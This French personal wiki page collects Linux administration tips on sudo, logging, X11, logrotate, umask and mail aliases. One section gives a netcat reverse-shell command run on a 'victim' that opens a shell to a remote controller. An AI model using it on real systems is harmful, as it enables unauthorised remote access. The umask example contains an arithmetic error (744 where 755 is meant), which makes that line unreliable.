====== Trucs & Astuces avec Linux ======
* [[https://opensource.com/article/18/11/udev|An introduction to Udev: The Linux subsystem for managing device events]]
* [[https://github.com/imthenachoman/How-To-Secure-A-Linux-Server]]
* [[https://www.tartarefr.eu/creation-dune-cle-usb-multiboot-bios-et-uefi/]]
* [https://www.bloglibre.net/2019/05/30/decalage-horaire-entre-windows-et-linux-en-dual-boot/]]
* [[https://blog.hedilenoir.com/index.php/2019/09/12/tuto-proteger-avec-un-mot-de-passe-lacces-au-grub/]]
* [[https://www.it-connect.fr/debian-10-et-secure-boot-comment-sadapter-au-demarrage-securise/]]
* [[https://korben.info/une-commande-pour-retrouver-en-clair-le-mot-de-passe-dun-reseau-wifi.html]]
* [[http://user.oc-static.com/pdf/319961-les-acl-access-control-lists-sous-linux.pdf]]
* [[http://wiki.linuxwall.info/doku.php/fr:ressources:dossiers:networking:qos_traffic_control|QOS sous Linux avec TC]]
* [[https://www.codeblueprint.co.uk/2019/12/23/linux-preemption-latency-throughput.html|Linux kernel preemption and the latency-throughput tradeoff]]
* [[https://www.linuxembedded.fr/2019/03/les-secrets-du-traceur-ebpf/|Les secrets du traceur eBPF]]
* [[https://fr.wikipedia.org/wiki/Magic_SysRq_key]]
* [[linux:strace|Fonction strace]]
* [[linux:pihole|PiHole]]
* [[linux:service|Services]]
* [[linux:tmux|Tmux]]
* [[linux:apt|APT]]
* [[linux:commands|Commandes]]
* [[linux:i3|I3]]
* [[linux:fonts|Polices]]
* [[linux:btrfs|BTRFS]]
* [[linux:debian-upgrade|Montée en version de Debian]]
* [[linux:postfix|Envoi de mails avec Postfix]]
* [[linux:disks_partitions|Disques, partitions, systèmes de fichiers...]]
* [[linux:video_acquisition|Acquisition vidéo]]
* [[linux:reduce_boot_time|Réduire la durée du démarrage]]
* [[linux:create_debian_package|Créer un paquet Debian]]
* [[linux:lfs|Linux From Scratch]]
* [[linux:sysctl|Modifier les paramètres du noyau]]
* [[linux:modules|Modules noyau]]
* [[linux:frequencies|Fréquences matérielles]]
* [[linux:grub|GRUB]]
* [[linux:pdf|PDF]]
* [[linux:images|Images]]
* [[rpi:accueil|Raspberry Pi]]
* [[:makefile|Makefile]]
* [[linux:material|Matériel]]
* [[linux:xfce|XFCE]]
* [[linux:ffmpeg|ffmpeg]]
* [[avx|Instructions AVX]]
* [[linux:forgotten_softwares|Logiciels dont j'oublie le nom]]
* [[linux:cmus|cmus]]
* [[linux:printers-scanners|Imprimantes & scanner]]
==== Changer l'éditeur par défaut (pour éditer les cron) ====
[[https://askubuntu.com/questions/55022/changing-default-crontab-editor|Source]]
select-editor
==== Corriger le problème d'un ordinateur qui ne veut pas s'éteindre ====
Ne s'éteint pas après le message //Will shutdown now !//
Editer le fichier ''/etc/default/grub'', et adapter la ligne:
GRUB_CMDLINE_LINUX_DEFAULT="quiet reboot=pci"
==== Vérifier des checksums ====
Notamment de l'installation de Debian. [[https://linuxconfig.org/how-to-verify-an-authenticity-of-downloaded-debian-iso-images|Source]]
Télécharger une image de Debian, monter l'archive, se placer dans le dossier:
md5sum -c md5sum.txt 2> /dev/null | grep -v Réussi
Cette commande ne doit rien afficher.
==== Sudo ====
=== Ajouter un utilisateur aux sudoers ===
[[https://askubuntu.com/questions/7477/how-can-i-add-a-new-user-as-sudoer-using-the-command-line|Source]]
sudo adduser sudo
Il faut que le groupe ''sudo'' existe et que la ligne suivante existe bien dans le fichier (à changer avec la commande ''visudo'').
%sudo ALL=(ALL:ALL) ALL
=== Exécuter une commande avec un autre utilisateur ===
sudo -u $user $command
=== Permettre de n'exécuter que certaines commandes ===
[[https://kifarunix.com/run-only-specific-commands-with-sudo-in-linux/|Source]]
Permettre à l'utilisateur ''student'' de lancer les commandes ''service mariadb start'' et ''service nginx start'' avec ''sudo'', sans avoir besoin de saisir de mot de passe (éditer cette configuration avec la commande ''visudo'') :
student ALL=(ALL) NOPASSWD: /usr/sbin/service mariadb start,/usr/sbin/service nginx start
==== Lister tous les utilisateurs d'un système ====
Liste aussi les utilisateurs LDAP, par exemple.
getent passwd
Lister tous les membres appartenant à un groupe ([[https://linuxhandbook.com/list-users-in-group-linux/|source]]) :
getent group $group
==== Envoyer tous les logs vers une autre machine ====
*.* @ip:port
Envoie tous les logs en UDP vers la machine spécifiée. Deux arobases envoie en TCP.
Relancer le service ''rsyslog''.
==== Faire un reverse shell ====
[[http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet|Source]] Sur la victime:
nc -e /bin/sh 172.21.30.2 1026
Sur le C&C:
nc -l 1026
==== Ajouter le Terminal à un dock Docky ====
[[https://bugs.launchpad.net/docky/+bug/1587481/comments/7|Source]]
Faire glisser l'icône du Terminal du dossier ''/usr/share/applications'' dans le dock.
==== Garder un processus actif après la déconnexion ====
nohup mon_programme > out.file &
==== Fenêtre de VLC dont les menus sont trop gros ====
[[https://ubuntuforums.org/showthread.php?t=2390362&s=73f320884a0769d57655e477be2981ac&p=13760709#post13760709|Source]]
Créer le fichier ''/etc/profile.d/gnome-qt.sh'' avec le contenu suivant:
export QT_AUTO_SCREEN_SCALE_FACTOR=0
Fonctionne aussi avec le fichier ''/etc/environment'':
QT_AUTO_SCREEN_SCALE_FACTOR=0
==== Démarrer un programme au lancement du système ====
=== xdg autostart ===
[[https://askubuntu.com/questions/48321/how-do-i-start-applications-automatically-on-login|Source]]
[Desktop Entry]
Name=foo
Terminal=false
Exec=/path/shell.sh
Type=Application
Icon=/path/icon.png
Categories=Utility;
==== Changer l'heure du système ====
sudo date -s "Dec 10 17:45:49"
==== Connaître la date de démarrage d'un processus ====
[[https://stackoverflow.com/questions/5731234/how-to-get-the-start-time-of-a-long-running-linux-process|Source]]
ps -eo pid,lstart,cmd
Sinon ajouter la colonne qui va bien dans htop.
==== Arrêter et redémarrer sans sudo ====
[[https://www.reddit.com/r/i3wm/comments/6zgbgy/suspending_with_polybar/|Source]]
systemctl poweroff
systemctl reboot
==== Avoir un aperçu des caractéristiques de son PC ====
Avec le commande ''screenfetch'', fourni par le paquet éponyme.
==== Éditer les éléments dans le Gnome Shell ====
Installer le paquet ''alacarte'' et utiliser l'application //Menu principal//.
==== Télécharger un torrent en ligne de commandes ====
[[https://www.maketecheasier.com/how-to-download-torrents-from-the-command-line-in-ubuntu/|Source]]
Installer le paquet ''transmission-cli''.
transmission-cli
L'option ''-w'' permet de spécifier le dossier où sera sauvegardé le fichier téléchargé. Par défaut, c'est dans le dossier ''~/Downloads''.
==== Connaître les dépendances d'un binaire ====
Connaître les bibliothèques dynamiques directement liée (pas récursif):
readelf -d
Connaître toutes les bibliothèques dynamiques:
ldd
Voir [[https://github.com/ncopa/lddtree/blob/master/lddtree.sh]] pour un affichage récursif.
==== Splashscreen de démarrage ====
* [[https://tuxicoman.jesuislibre.net/2019/05/ecran-de-demarrage-graphique-avec-plymouth-sur-debian.html]]
* [[https://wiki.debian.org/fr/plymouth]]
* [[https://joekuan.wordpress.com/2010/08/05/plymouth-create-your-own-splash-screen-with-scrolling-boot-messages/]]
==== X11 ====
=== Wayland ou X11 ? ===
[[https://unix.stackexchange.com/questions/202891/how-to-know-whether-wayland-or-x11-is-being-used|Source]]
echo $XDG_SESSION_TYPE
=== Désactiver la mise en veille de l'écran ===
[[https://www.debian-fr.org/t/empecher-la-mise-en-veille-de-lecran-ou-la-regler/33029|Source]]
Deux éléments peuvent gérer la mise en veille de l'écran :
- l'environnement de bureau
- le serveur X11
Pour connaître la configuration de X11 :
xset q
Pour désactiver la mise en veille :
xset s off
Il peut aussi être nécessaire de désactiver la gestion de l'énergie :
xset -dpms
==== Se débarrasser de tracker-miner ====
* [[https://www.linuxuprising.com/2019/07/how-to-completely-disable-tracker.html]]
* [[https://www.jbnet.fr/systeme/linux/gnome-desactiver-tracker.html]]
# Savoir si le tracker est actif:
tracker daemon -t
# Essayer de supprimer, si ça n'entraîne pas une cascade de suppressions...
sudo apt remove tracker tracker-extract tracker-miner-fs
# Sinon, juste désactiver les services (pas en root !):
systemctl --user mask tracker-store.service tracker-miner-fs.service tracker-miner-rss.service tracker-extract.service tracker-miner-apps.service tracker-writeback.service
# Supprimer la base de données d'indexation:
tracker reset --hard
==== Nemo ====
=== Changer le terminal ===
[[https://unix.stackexchange.com/questions/336368/how-to-configure-nemos-right-click-open-in-terminal-to-launch-gnome-terminal]]
gsettings set org.cinnamon.desktop.default-applications.terminal exec terminator
=== Explorer les périphériques MTP ===
* [[https://wiki.debian.org/mtp|Documentation de Debian]]
* [[https://cbiot.fr/dokuwiki/php-bash:samsung]]
Installer le paquet ''gvfs-backends''.
Si avec gvfs-backends il n'est pas possible d'écrire, il est possible d'installer ''jmtpfs'', puis monter le périphérique dans un dossier dédié :
jmtpfs /chemin/vers/le/dossier/de/montage
==== Changer la langue d'une commande ====
* [[https://askubuntu.com/questions/79319/how-to-change-language-of-a-specific-application]]
* [[https://www.gnu.org/savannah-checkouts/gnu/gettext/manual/html_node/Locale-Environment-Variables.html]]
On peut connaître les langues disponibles avec la commande:
locale -a
Puis positionner la variable ''LANGUAGE'':
LANGUAGE=en_US lscpu
==== Changer le shell d'un utilisateur ====
Si ''chsh'' ne fonctionne pas ([[https://unix.stackexchange.com/questions/39881/running-chsh-does-not-change-shell/39882|source]]):
sudo usermod -s /bin/zsh philippe
==== Autocomplétion dans le terminal ====
* [[https://iridakos.com/programming/2018/03/01/bash-programmable-completion-tutorial]]
* [[https://www.gnu.org/software/bash/manual/html_node/Programmable-Completion-Builtins.html#Programmable-Completion-Builtins]]
* [[https://unix.stackexchange.com/questions/417054/automatically-generate-zsh-bash-completion-files]]
==== Émettre un bip ====
Utiliser le programme ''beep'', ou bien:
echo -ne '\007'
==== zRAM ====
Permet de réserver une partie de la RAM pour être utilisée comme swap.
* [[https://www.linuxtricks.fr/wiki/zram-compresser-la-ram-au-lieu-de-swapper-sur-linux]]
==== Re-détecter les périphériques ====
=== Périphériques PCI ===
Notamment quand on rebranche un dock ([[https://superuser.com/questions/1046928/thunderbolt-hotplugging-in-ubuntu-linux|source]]):
echo "1" | sudo tee /sys/bus/pci/rescan > /dev/null
=== Périphériques audio ===
Quand par exemple des enceintes branchées en jack sont mises sous tension après le démarrage de l'ordinateur (sous Pulseaudio, [[https://superuser.com/questions/845645/pulseaudio-how-to-rescan-audio-devices|source]]) :
pacmd unload-module module-udev-detect && pacmd load-module module-udev-detect
==== Créer un utilisateur qui ne se connecte pas ====
Qui ne peut se connecter et qui n'a pas de dossier ''/home/'' ([[https://askubuntu.com/questions/29359/how-to-add-a-user-without-home|Source]]) :
useradd -r -s /usr/sbin/nologin nfs-client
==== Logrotate ====
* [[https://les-enovateurs.com/logrotate-ajout-test-configuration-rotation-logs/]]
Créer les fichiers de configuration dans ''/etc/logrotate.d/'' :
/data/rpi/logs/*.log {
rotate 5
compress
size 1M
missingok
notifempty
delaycompress
}
Pour debugger, voir ce que logrotate ferait :
logrotate -d /etc/logrotate.d/rpi
L'option ''-f'' force la rotation, même si les conditions requises pour faire une rotation ne sont pas satisfaites.
==== umask ====
Comme commande shell, ''umask'' affiche le umask actuellement utilisé ; ''umask -S'' l'affiche avec des symboles plus explicites que la valeur octale. Si une valeur est donnée en paramètre, cette nouvelle valeur est utilisée comme masque.
Interprétation de la valeur : il s'agit des bits qui sont retirés à tous les bits activés pour obtenir le masque avec lequel les fichiers et dossiers vont être créés. Par exemple :
* ''077'' : ''777 - 077 = 700'', donc les droits utilisés seront ''%%rwx------%%'' ;
* ''022'' : ''777 - 022 = 744'', donc les droits utilisés seront ''rwxr-xr-x''.
==== Alias mails ====
Le fichier ''/etc/aliases'' définit quels sont les alias mails des utilisateurs, et où il faut faire suivre les mails reçus sur ces aliases :
root: user, abc@foo.bar
Tous les mails adressés à ''root'' seront transmis à l'utilisateur ''user'' et à l'adresse ''abc@foo.bar''.
Après avoir modifié le fichier ''/etc/aliases'', il faut lancer la commande ''newaliases'' ([[https://unix.stackexchange.com/questions/65013/understanding-etc-aliases-and-what-it-does|source]]).